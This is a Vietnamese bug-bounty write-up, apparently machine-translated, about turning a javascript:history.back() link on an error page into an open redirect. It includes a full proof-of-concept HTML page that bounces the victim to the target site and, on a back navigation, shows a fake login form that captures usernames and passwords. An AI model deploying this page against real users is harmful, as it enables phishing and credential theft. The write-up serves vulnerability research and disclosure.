Lạm dụng Javascript:history.back() làm chuyển hướng mở
Xin chào Hacker,
Hôm nay tôi sẽ kể cho bạn nghe về một lỗi thú vị, đó là một lỗi có mức độ nghiêm trọng thấp nhưng tôi nghĩ bạn sẽ học được từ điều này, Vì vậy, hãy bắt đầu.
Bạn đã bao giờ nhấp vào nút “quay lại” trên trình duyệt của mình để rồi bị chuyển hướng đến một trang độc hại chưa?
Đây là một chiến thuật phổ biến được sử dụng bởi những kẻ tấn công để khai thác một lỗ hổng với javascript:history.back()chức năng. Chức năng này javascript:history.back()là một tính năng hữu ích trong các ứng dụng web cho phép người dùng điều hướng quay lại trang trước đó. Tuy nhiên, kẻ tấn công cũng có thể sử dụng nó để chuyển hướng người dùng đến một trang độc hại bằng cách thao túng lịch sử của trình duyệt.
Tôi đang tìm kiếm một chương trình RDP, tôi đã tìm thấy một URL báo lỗi không tìm thấy với liên kết quay lại và trang đó có một javascript:history.back()chức năng.
sau đó tôi nhanh chóng nhận ra rằng chúng ta có thể khai thác lỗ hổng này để mở lỗ hổng chuyển hướng.
Đây là bằng chứng về khái niệm về cách tôi đã làm nó.
Trước hết, tôi đã lưu trữ một trang HTML trên máy cục bộ của mình.
Trang có mã sau đây.
<html>
<head>
<title>THIS IS THE EVIL PAGE, your account is Please </title></head>
<body>
<div id="forward">
<a href="https://link-of-the-vulnerable-page.com/locale/redirect?locale=en">GO BACK PAGE</a>
</div>
<div id="phish">
<h1> WELOCME TO ATTACKERS PAGE </h1>
</div>
<div>
<h1>PLEASE LOGIN HERE </h1>
<form action="process_login.php" method="post">
<label for="username">Username:</label>
<input type="text" id="username" name="username"><br><br>
<label for="password">Password:</label>
<input type="password" id="password" name="password"><br><br>
<input type="submit" value="Login">
</form>
</div>
<script>
function hide(id) {
document.getElementById(id).style.display = 'none';
}
function show(id) {
document.getElementById(id).style.display = '';
}
window.addEventListener("pageshow", function () {
if (performance.navigation.type === performance.navigation.TYPE_BACK_FORWARD) {
hide("forward");
show("phish");
} else {
hide("phish");
show("forward");
document.querySelector("#forward a").click();
}
});
</script>
</body>
</html>
https://redacted.com/locale/redirect?locale=vi
và người dùng sẽ gặp lỗi sau với một liên kết để quay lại.
người dùng sẽ nghĩ rằng đã xảy ra lỗi và sẽ nhấp vào liên kết quay lại, nhưng trong trường hợp này, vì người dùng đã được chuyển hướng từ trang độc hại. Chức năng này sẽ không xác thực xem trang trước đó có thuộc cùng một miền hay không, do đó, nó sẽ điều hướng người dùng đến trang của kẻ tấn công độc hại.
Bằng cách sử dụng điều này, Kẻ tấn công có thể đánh cắp thông tin nhạy cảm như mật khẩu và các chi tiết cá nhân khác.
Đây là một lỗi có mức độ nghiêm trọng trung bình giống như một lỗ hổng chuyển hướng mở. Tôi đã báo cáo điều này với trang web nhưng chương trình của họ đã bị tạm ngưng, nhưng đây vẫn là một lỗi phổ biến mà bạn có thể dễ dàng tìm thấy trên bất kỳ trang web nào và báo cáo nó.
Nếu bạn muốn tôi có thể cung cấp cho bạn POC đầy đủ về lỗi này, bạn có thể nhắn tin cho tôi trên Twitter hoặc Instagram.
Chúc bạn có một hành trình săn bắn tuyệt vời, Tạm biệt
Ajay Jachak :)
Đi theo tôi!
Twitter-https://twitter.com/Ajay_jachak24
LinkedIn-https://www.linkedin.com/in/ajay-jachak-990964212/
Instagram-https://www.instagram.com/ajax.pvt/

![Dù sao thì một danh sách được liên kết là gì? [Phần 1]](https://post.nghiatu.com/assets/images/m/max/724/1*Xokk6XOjWyIGCBujkJsCzQ.jpeg)



































